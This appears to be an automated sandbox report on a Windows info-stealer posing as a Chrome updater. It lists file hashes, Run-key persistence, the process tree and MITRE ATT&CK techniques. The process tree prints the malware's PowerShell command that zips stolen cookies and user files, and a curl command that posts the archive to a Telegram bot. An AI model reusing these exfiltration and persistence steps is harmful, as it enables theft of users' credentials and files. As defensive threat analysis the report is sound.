308d77debd70a777d806cae3de9853fc66b05b3d45c406a55c6fa04d31cd2ae5

Analysis

max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
17/05/2026, 06:29

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-05-17_2057ef17532619211685848190b1d13a_cobalt-strike_icedid_luca-stealer_njrat_satacom.exe
Size 1.4MB
Sample260517-g897wsds71
SHA256 308d77debd70a777d806cae3de9853fc66b05b3d45c406a55c6fa04d31cd2ae5
MD5 2057ef17532619211685848190b1d13a
SHA1 676c0423380e1798644afbfb2c50ac514a443506
SHA512 c38cf1e8b2e715238fc634cd4248857db9f8e144c73e65c5574b825b80e295a1bb1e16026e43276852f4d9ab3474d0ea365e1d31618cfaecd4f5d9553b8b664d
SSDEEP 24576:2Ag+v1XDYGk3R7uTc8oVYi5Phm+clkNRwOX6oWK:2GDiJY/+kMFW
TLSH
T1FA65020AE6A500F9D167C274CD525906DBB2FC164F75E69F13A84E971F23BA04E3EB20
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

execution persistence

Malware Config

Signatures

Executes dropped EXE 1 IoCs

pid	Process
4352	chrome_updater.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Chrome Update Manager = "C:\\Users\\Admin\\AppData\\Roaming\\ChromeUpdate\\chrome_updater.exe"	2026-05-17_2057ef17532619211685848190b1d13a_cobalt-strike_icedid_luca-stealer_njrat_satacom.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Chrome Update Manager = "C:\\Users\\Admin\\AppData\\Roaming\\ChromeUpdate\\chrome_updater.exe"	chrome_updater.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1576	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1576	powershell.exe
1576	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1576	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 4352 wrote to memory of 5084	4352	chrome_updater.exe	90
PID 4352 wrote to memory of 5084	4352	chrome_updater.exe	90
PID 4352 wrote to memory of 1028	4352	chrome_updater.exe	93
PID 4352 wrote to memory of 1028	4352	chrome_updater.exe	93
PID 4352 wrote to memory of 1576	4352	chrome_updater.exe	94
PID 4352 wrote to memory of 3128	4352	chrome_updater.exe	96

C:\Users\Admin\AppData\Local\Temp\2026-05-17_2057ef17532619211685848190b1d13a_cobalt-strike_icedid_luca-stealer_njrat_satacom.exe
"C:\Users\Admin\AppData\Local\Temp\2026-05-17_2057ef17532619211685848190b1d13a_cobalt-strike_icedid_luca-stealer_njrat_satacom.exe"
1⤵
- Adds Run key to start application
PID:1712

C:\Users\Admin\AppData\Roaming\ChromeUpdate\chrome_updater.exe
C:\Users\Admin\AppData\Roaming\ChromeUpdate\chrome_updater.exe
1⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:4352
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe"
  2⤵
  PID:5084
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
  2⤵
  PID:1028
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Compress-Archive -Path 'C:\Users\Admin\AppData\Local\Temp\Kuinaextra\*' -DestinationPath 'C:\Users\Admin\AppData\Local\Temp\Kuinaextra.zip' -Force"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1576
- C:\Windows\system32\curl.exe
  curl.exe -s -X POST "https://api.telegram.org/bot8739675534:AAFeC8FFpcnhKs9FUwh32LtOpm0DabsnLq4/sendDocument" -F "chat_id=-1003897970359" -F "document=@C:\Users\Admin\AppData\Local\Temp\Kuinaextra.zip" -F "caption=<C:\Users\Admin\AppData\Local\Temp\caption.txt" -F "parse_mode=Markdown"
  2⤵
  PID:3128

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:3328

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:700

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

Kuinaextra.zip

Path C:\Users\Admin\AppData\Local\Temp\Kuinaextra.zip
Size 3.2MB
SHA256 e08a6fdac3cc887c7188ebe7d5142439e757fed5ec17fe65b78f20285fff7e8a
MD5 c5d002fdd034e8fd4ec14cfd4573bbf3
SHA1 d09bef1566fc9188dc64fb9d832389596cafc718
SHA512 60fe74bd9f34f9bb68a6bdf92bde5a4ea477a55d8e00ef31e020887c6358bd097428712ba9f75d684cfd78cec0d142813f2af5eeac91771fb2cd6352a474f5c6
SSDEEP 98304:ykpsEgTcabb2WWyjBbTb9Boz66ypYqNQxsa6:8Sabb2xO/oz668Y5Ga6
TLSH
T1B3F533DDF4316C0DA3283BC79C24BB6392467D24F68691A44DFF1A5F31A2292A6FC11D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

cookies.json

Path C:\Users\Admin\AppData\Local\Temp\Kuinaextra\Chrome\Default\cookies.json
Size 337B
SHA256 707b0b3ea4d16ac527463017c723ad2ab6f30d9cba93a22e1fe1fd5ea35b4388
MD5 0ebca8c34db55d6b59f47cb34cea2d06
SHA1 ef8722a914476e2d2f16db1b0596fc204f5469dd
SHA512 8f497322515b63f8b2bf8fb5ca8331de4a7e6b68f1bd0b851138914b0f90f4e1a94a754eb0f657440fa5508b8e4a500a96d087679b8a11f957c23d0c3f21f019
TLSH
T13DE0C0C250431823ED07C0AC58406D0C1D38176752598C4AA22B4C40A9E1CA5F3374B5
MD5 SHA1 SHA512 TLSH

Submit Download

cookies.txt

Path C:\Users\Admin\AppData\Local\Temp\Kuinaextra\Chrome\Default\cookies.txt
Size 274B
SHA256 93373018ce45fa5eed09632c4dc85dccc61316b03aee4bda2523a94d7b0c69d6
MD5 407452c246e90a818a616a6986cca6ac
SHA1 e4e79a1c11b8602b0ee32b079dede98499576ef7
SHA512 6119023341bf2c85e12e78419360567996c027a6b1cf6b6a125b524e3c565456c149aef1dd85b5a3d41520d3be6ce8502cd8add986aa8081d275eb02c8b6b95c
TLSH
T14FD0EBC2685350172916C45800708C0E0D3C0B8A221A494AB3150C007ADBCA2FB76432
MD5 SHA1 SHA512 TLSH

Submit Download

ApproveOptimize.txt

Path C:\Users\Admin\AppData\Local\Temp\Kuinaextra\Files\ApproveOptimize.txt
Size 676KB
SHA256 4c6819d5782e374452a6f5bf2c29e1acb9e31be9324a600e1ff60c1b9cadc39f
MD5 8c23b2a81deabf07113bd6331b5d2bdc
SHA1 5815e64d5969a5a6b2513faa997fbca8551d3e7e
SHA512 65034399b51d544eea7f039f09aa43771007f959b71d232a09e3924d5156bd081947c324572a6c68ce08471d546bcf4002a9472e9b0cf11ad914e00056d9a115
SSDEEP 12288:IHkRBoTMTLVCrMnKnDFyrQssnSGj2k12nmyonM7Ewf/XbnV6DiYj:IHkRBMG+MnK8rA5X12nmdyYD7j
TLSH
T19BE423EF9DF2180B9F355ACF1011A613219B3E22E816D0181AEE157F3250791AAEDB1F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CompleteSave.docx

Path C:\Users\Admin\AppData\Local\Temp\Kuinaextra\Files\CompleteSave.docx
Size 595KB
SHA256 151ec3979ebc05c11822076ef50b3a7a8f19f49c42145121e621b9ca5dea117d
MD5 862cd21abf412d7210343624e7272c3d
SHA1 c8379fcab947aeff4671e4900f1c8f14671c78a0
SHA512 264196ef31a5f7be5d74d138618cc2148974a23021971f7e9a4e3db6c156ffd91efd1816533ce57d13c60a89f08600176a34d58b9408f7743ebf99e2ab53e702
SSDEEP 12288:oTWnopJ5l/r4mHmp5m2fn8zNZte6QDnm3YkTTnw7xJ0+stBY9S2wjgBX5oWHjg:CQavl1Gp5mhz/8DmIk3nmyBSS2SgBp70
TLSH
T1EED423C0C738DC983AAC38C3E093BA7E8324B5187B851DAE96DD5DB6265A1736B341C4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ReadPush.jpg

Path C:\Users\Admin\AppData\Local\Temp\Kuinaextra\Files\ReadPush.jpg
Size 335KB
SHA256 a2f2e098fe04bcefaef834349b96bb9ee324817afad4bf45610894c09817c318
MD5 38ced7541209e9e32cf2416f2df905e8
SHA1 4ab21909630626191add8f6a212d1ee114803f6e
SHA512 f0fe5997f95c88485c4e5ec61f25e6a83cd83e89364f0d0f4e8b09db2267eb3920f81b25c9c69d43404be50a1916bef151d9b551ddf949e19dd72a2eb0fc908f
SSDEEP 6144:MCmpbr9qeD6W2eZKS4cNdTUddwS91INk4Wvty373IOypM/VBpw8EdLE6SS7E:M7Jqe2iKjcNdToySTq7WvQL3IOBy8iEp
TLSH
T1E57423AE20275AC7F19FFFB78C5CA38571081D22A7C8997C79E3298584D33D621D8366
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

RemoveMeasure.docx

Path C:\Users\Admin\AppData\Local\Temp\Kuinaextra\Files\RemoveMeasure.docx
Size 15KB
SHA256 bb30310d9db1e9f6d1487799a2a902421967ab21bb66387d600cfbd3b2deba33
MD5 909a3d0992310cd83c0f3bd589e2218b
SHA1 82476a0222b1f59625ad7bc9474f38282b5dfdd2
SHA512 d3882602eaca6387a9898457917b19176c65078240330263865dac44485c3b2402118a45c0f912e5f44c1c69d5ba84b39da255a7ce3046ac9c174b7276deb76a
SSDEEP 384:ajqIB050pLF9bidNxt/ZtNNBIFH1htQ6h:rcI0tF9axllNBIt1gW
TLSH
T10B72CF29C1528422DF834B3C902E11F2E65582433BC74483609BBF9F96ABF56275B6CE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

RestartGet.txt

Path C:\Users\Admin\AppData\Local\Temp\Kuinaextra\Files\RestartGet.txt
Size 1.2MB
SHA256 9e151b486c9314af31aad31d7979dffafcd8ec08f4eb3b86992f0bf8433f36d4
MD5 37b402a843d960e867b73a67bb55ef68
SHA1 76b06a1543abffa7b98f621e641d634a654f2bc9
SHA512 81c0b3aacfddda0972a6cea3c28ff2af7fc320e774223dfc4e6569ed00237ad6331a128759967e2b815f60c19abbdd55e1e444dd0877b5e76fecc25f12688aea
SSDEEP 24576:XKOXZMgKGshBN0as6eWBp/B96hN6DDLmrohiQpnBrpdZ+J1YYz:9WhB7gWHB96hN6DDLmUoQpnBro
TLSH
T16C45339CF072344D826523955DA81DE2DE43E8E99663ABC04CFF630EB17228BD9D746C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

SubmitInvoke.txt

Path C:\Users\Admin\AppData\Local\Temp\Kuinaextra\Files\SubmitInvoke.txt
Size 393KB
SHA256 1b6e2a42c2f0ee65a50f9855b16f359b1a0915b760f5adb5e5c1301683178159
MD5 d7d1a7f0af63b74fd64efc17edcc9372
SHA1 eb8f8125838e32cb3775a7313b836351b2365f3e
SHA512 6f0834e7276fcfd2398a460361ced621494e4a6d40fc5a6bcf109fe0d3427665df3ebba12842df1f8ab3e07fc3687f3800c287b92d3bec7db2518e25e2f6eae9
SSDEEP 12288:2dAGx4NULU6Rbt0MaeDkodUdX5x6WMjO5rxW8Z:jI4NUY6RbmAtWX5x69R8Z
TLSH
T1088423CCB63AF11473058706BD63A30BE1D36A189560B2660E944CA3A1FF07CFEADD59
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ss.jpg

Path C:\Users\Admin\AppData\Local\Temp\Kuinaextra\ss.jpg
Size 103KB
SHA256 1796f69461f598b77f3cb52708ec48550af862aad4c2640af0eee9765c04c57b
MD5 25b218cc2950d945a2b73ac324339a1b
SHA1 814e8cd54b0ae8fdea51d0678b486a32a5dbe49e
SHA512 6cc981587c680cdcf141a844977f9c048574062ef747ab5b3ed8f94dc8adcfc5249dc1eaf3d03301ca764a264e8efac1c4cbb16571451a2caefedfce7c967a22
SSDEEP 3072:nPgV+2rEEEEEEEEEEEEEEEEEEKGKYQ3D8z14AYHz0/vz8D1:nmEEEEEEEEEEEEEEEEEERKztLAXzy
TLSH
T161A3A65BBDD8ED4B002753F77C6F4B8A7A07736AEC6736BC900F4D852A1A1810D2AC95
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_bmj0g3x3.jc4.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bmj0g3x3.jc4.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

caption.txt

Path C:\Users\Admin\AppData\Local\Temp\caption.txt
Size 64B
SHA256 21425b81ffc3cce88b643cc2d349661291a7d3a4b0b03002a01a6fdeb88d00fe
MD5 130fb019357e31d5e03d6ff2034f4739
SHA1 ac0f8a93972563862a0824fa2f293cf253da57c9
SHA512 56cde78fd4bf4177cb6cbac83716e289e1220aaa7454a3ae1a511b147a00046bdc4f25fd11eb29f810ff40e06dde94b616fc2a7f0db74e0f5fdb08bd33b2442d
TLSH
T1B9A00291309A19253109D6B4C370928AE211DE4F40C911F10BB9927A943E90F78D5F82
MD5 SHA1 SHA512 TLSH

Submit Download

chrome_updater.exe

Path C:\Users\Admin\AppData\Roaming\ChromeUpdate\chrome_updater.exe
Size 1.4MB
SHA256 308d77debd70a777d806cae3de9853fc66b05b3d45c406a55c6fa04d31cd2ae5
MD5 2057ef17532619211685848190b1d13a
SHA1 676c0423380e1798644afbfb2c50ac514a443506
SHA512 c38cf1e8b2e715238fc634cd4248857db9f8e144c73e65c5574b825b80e295a1bb1e16026e43276852f4d9ab3474d0ea365e1d31618cfaecd4f5d9553b8b664d
SSDEEP 24576:2Ag+v1XDYGk3R7uTc8oVYi5Phm+clkNRwOX6oWK:2GDiJY/+kMFW
TLSH
T1FA65020AE6A500F9D167C274CD525906DBB2FC164F75E69F13A84E971F23BA04E3EB20
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/1576-21-0x0000025583AB0000-0x0000025583ABA000-memory.dmp

Download

memory/1576-20-0x000002559EDF0000-0x000002559EE02000-memory.dmp

Download

memory/1576-17-0x0000025583A60000-0x0000025583A82000-memory.dmp

Download